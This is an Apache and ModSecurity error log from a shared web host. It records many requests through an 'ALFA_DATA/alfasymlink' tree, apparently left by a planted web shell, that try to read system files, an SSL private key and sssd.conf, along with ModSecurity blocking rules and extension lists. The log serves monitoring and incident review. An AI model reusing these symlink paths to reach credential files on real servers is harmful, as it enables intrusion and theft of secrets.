[Mon Oct 26 13:32:16.632356 2026] [security2:error] [pid 3064975:tid 3064975] [client 16.216.88.13:4097] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "at-OoMdX-waAlDqXJHtTgQAAABY"]
[Mon Oct 26 13:32:20.054409 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 44.223.193.255:47734] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:27.613364 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 185.191.171.16:17338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:28.106189 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 34.196.114.170:40766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:40.004457 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.84.250.51:30574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:32:59.893662 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 54.166.104.83:62565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/xmit_fifo_size
[Mon Oct 26 13:33:02.841146 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 185.191.171.3:62470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/reclaim_account
[Mon Oct 26 13:33:12.918555 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 185.191.171.15:45822] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ip6t_REJECT/sections/__mcount_loc
[Mon Oct 26 13:33:15.993930 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.214.19.8:27067] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:33:19.940399 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.215.61.66:56789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:33:24.254496 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 23.21.227.240:48277] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/sections/__mcount_loc
[Mon Oct 26 13:33:27.906952 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 52.2.191.202:27565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:33:35.775221 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.196.6.199:17357] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:33:43.986462 2026] [core:error] [pid 3068534:tid 3068534] (13)Permission denied: [client 52.205.222.214:8281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/closing_wait
[Mon Oct 26 13:33:52.063383 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 23.21.119.232:45677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:34:03.938381 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 100.28.133.214:19960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:34:11.835859 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 3.235.215.92:44781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:34:23.820079 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 54.209.100.30:20866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:34:30.336664 2026] [authz_core:error] [pid 3068534:tid 3068534] [client 205.210.31.32:57910] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 13:34:35.836003 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 107.20.25.33:6029] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:34:46.003637 2026] [authz_core:error] [pid 3065807:tid 3065807] [client 190.82.189.98:53148] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://five.co.in/redirect.php?ref_host=cardlimited.com
[Mon Oct 26 13:34:52.171022 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.221.180.179:58261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:07.757623 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 44.212.106.171:27993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:15.817025 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.231.118.144:15914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:23.678459 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 34.227.156.153:35103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:31.800688 2026] [security2:error] [pid 3064916:tid 3064916] [client 52.3.104.214:59893] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory19/subsystem/devices/memory19/"] [unique_id "at-PYwz1n6jB6fkqe7GljgAAABA"]
[Mon Oct 26 13:35:31.800747 2026] [security2:error] [pid 3064916:tid 3064916] [client 52.3.104.214:59893] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory19/subsystem/devices/memory19/"] [unique_id "at-PYwz1n6jB6fkqe7GljgAAABA"]
[Mon Oct 26 13:35:36.591887 2026] [security2:error] [pid 3064975:tid 3064975] [client 43.134.23.177:38302] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/clic3/"] [unique_id "at-PaMdX-waAlDqXJHtTiAAAABY"]
[Mon Oct 26 13:35:39.716152 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 34.225.243.131:46616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:43.397965 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 216.244.66.250:49126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/backupmxhosts
[Mon Oct 26 13:35:43.695518 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 54.88.84.219:40046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:51.931137 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 35.153.86.200:51786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:35:57.222561 2026] [security2:error] [pid 3065020:tid 3065020] [client 85.208.96.198:49512] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c2d20_f4e7d_bc14c6bdc26178472fd423b07f2b2632.key"] [unique_id "at-PfV8Nv1D1ax-igrAcaAAAABg"]
[Mon Oct 26 13:35:57.222946 2026] [security2:error] [pid 3065020:tid 3065020] [client 85.208.96.198:49512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c2d20_f4e7d_bc14c6bdc26178472fd423b07f2b2632.key"] [unique_id "at-PfV8Nv1D1ax-igrAcaAAAABg"]
[Mon Oct 26 13:35:57.223441 2026] [security2:error] [pid 3065020:tid 3065020] [client 85.208.96.198:49512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c2d20_f4e7d_bc14c6bdc26178472fd423b07f2b2632.key"] [unique_id "at-PfV8Nv1D1ax-igrAcaAAAABg"]
[Mon Oct 26 13:36:03.737949 2026] [core:error] [pid 3058833:tid 3058833] (13)Permission denied: [client 44.214.19.8:28333] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/driver/bind
[Mon Oct 26 13:36:08.462575 2026] [authz_core:error] [pid 3068534:tid 3068534] [client 3.211.181.86:42659] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 13:36:13.686975 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 216.244.66.250:47472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ftpd-rsa.pem
[Mon Oct 26 13:36:15.741791 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 34.227.234.246:41698] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:23.676931 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.210.223.61:64079] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:27.790085 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 100.29.128.75:22265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:32.961392 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 18.209.201.119:32145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:35.748506 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 3.214.176.44:59789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:39.726358 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 107.22.208.39:58014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:48.085508 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 44.193.102.198:30747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:36:59.954287 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.214.138.148:46219] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:07.820165 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.202.233.37:43962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:11.866407 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 54.225.199.17:42270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:15.929275 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.221.50.71:17646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:23.793401 2026] [core:error] [pid 3044299:tid 3044299] (13)Permission denied: [client 52.70.209.13:25539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/cpu/cpu1/firmware_node/subsystem/devices/device:06/eject
[Mon Oct 26 13:37:31.668848 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 100.24.167.60:52945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:35.924282 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 3.90.73.206:6049] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/LNXPWRBN:00/driver/unbind
[Mon Oct 26 13:37:47.681108 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.54.95.127:16243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:51.761439 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 52.4.238.8:46646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:37:55.768884 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.225.87.80:22201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:01.794492 2026] [security2:error] [pid 3058833:tid 3058833] [client 189.203.95.85:41662] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapermal.php"] [unique_id "at-P-W_VO1xGdW91KvStegAAABE"], referer: https://parkeranders.com/
[Mon Oct 26 13:38:03.746595 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 98.84.131.195:9940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:07.833236 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 34.204.150.196:16083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:08.994042 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 216.244.66.250:42198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/unix_update
[Mon Oct 26 13:38:13.319439 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 54.235.191.179:46765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:19.913413 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 54.147.238.89:21437] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:27.758696 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 52.3.102.51:28490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:31.995800 2026] [core:error] [pid 3068534:tid 3068534] (13)Permission denied: [client 34.205.163.103:30993] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory18/node0/memory5/subsystem/uevent
[Mon Oct 26 13:38:35.748794 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 54.84.93.8:1493] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/driver/bind
[Mon Oct 26 13:38:43.786532 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.84.250.51:10478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:47.785528 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 54.197.82.195:51692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:51.822509 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.194.233.48:3706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:38:55.875758 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.225.138.57:2065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:08.912710 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.234.197.175:50130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:11.912874 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 23.21.227.240:16326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:15.768973 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.4.213.199:38085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:20.501871 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 35.173.18.61:42000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:23.930335 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 100.25.120.246:42328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:32.290878 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.3.26.180:43639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:39.861012 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.226.106.93:8855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:51.925280 2026] [ssl:error] [pid 3065020:tid 3065020] (70014)End of file found: [client 184.73.239.35:36801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:55.935417 2026] [ssl:error] [pid 3058833:tid 3058833] (5)Input/output error: [client 44.221.37.41:6637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:39:59.961717 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 35.153.86.200:35880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:07.808740 2026] [ssl:error] [pid 3058833:tid 3058833] (5)Input/output error: [client 44.194.139.149:38534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:15.967525 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 98.82.63.147:56554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:27.921358 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 98.82.66.172:62417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:31.832267 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 52.3.156.186:53655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:39.882194 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.204.37.237:33526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:43.998131 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 34.231.77.232:27615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:55.957031 2026] [ssl:error] [pid 3044299:tid 3044299] (70014)End of file found: [client 54.91.122.193:43786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:40:59.796782 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 54.198.33.233:24069] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/rescan
[Mon Oct 26 13:41:03.820332 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.204.12.115:7887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:15.869124 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.94.199.128:38476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:23.803183 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 44.215.61.66:34738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/platform/drivers/ucsi_acpi/uevent
[Mon Oct 26 13:41:25.087049 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 85.208.96.199:23022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/destroy_by_rcu
[Mon Oct 26 13:41:27.224677 2026] [security2:error] [pid 3068535:tid 3068535] [client 107.172.76.131:55732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Qucx-ulTu8vkh2z0tygAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:41:27.224736 2026] [security2:error] [pid 3068535:tid 3068535] [client 107.172.76.131:55732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-Qucx-ulTu8vkh2z0tygAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 13:41:27.741044 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.205.74.196:24348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:36.067669 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.147.238.89:15690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:39.799732 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.5.232.250:30358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:43.739300 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.87.62.248:59679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:48.345248 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.225.81.20:50261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:41:59.956868 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.218.35.239:1940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:06.357938 2026] [security2:error] [pid 3065020:tid 3065020] [client 191.82.213.114:60180] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/debug_baja-california-sur_1.html"] [unique_id "at-Q7l8Nv1D1ax-igrAcgQAAABg"], referer: https://parkeranders.com/
[Mon Oct 26 13:42:11.948678 2026] [ssl:error] [pid 3067833:tid 3067833] (70014)End of file found: [client 54.235.191.179:17116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:12.217071 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.202:55618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_limit/sections/__mcount_loc
[Mon Oct 26 13:42:15.809851 2026] [ssl:error] [pid 3058833:tid 3058833] (70014)End of file found: [client 52.3.104.214:17851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:19.194811 2026] [core:error] [pid 3065020:tid 3065020] (13)Permission denied: [client 185.191.171.19:57872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/remote_node_defrag_ratio
[Mon Oct 26 13:42:19.736429 2026] [ssl:error] [pid 3068534:tid 3068534] (70014)End of file found: [client 52.71.218.25:51531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 13:42:23.789640 2026] [security2:error] [pid 3067833:tid 3067833] [client 3.223.134.5:62462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/psmouse/"] [unique_id "at-Q_5_wwznQnIwm7BV2DwAAAAA"]
[Mon Oct 26 13:42:23.789735 2026] [security2:error] [pid 3067833:tid 3067833] [client 3.223.134.5:62462] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input4/device/subsystem/drivers/psmouse/"] [unique_id "at-Q_5_wwznQnIwm7BV2DwAAAAA"]
[Mon Oct 26 13:42:26.216373 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.171.3:18766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/object_size
[Mon Oct 26 13:42:34.473505 2026] [security2:error] [pid 3067833:tid 3067833] [client 185.191.171.4:55328] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/sssd/conf/sssd.conf"] [unique_id "at-RCp_wwznQnIwm7BV2EAAAAAA"]
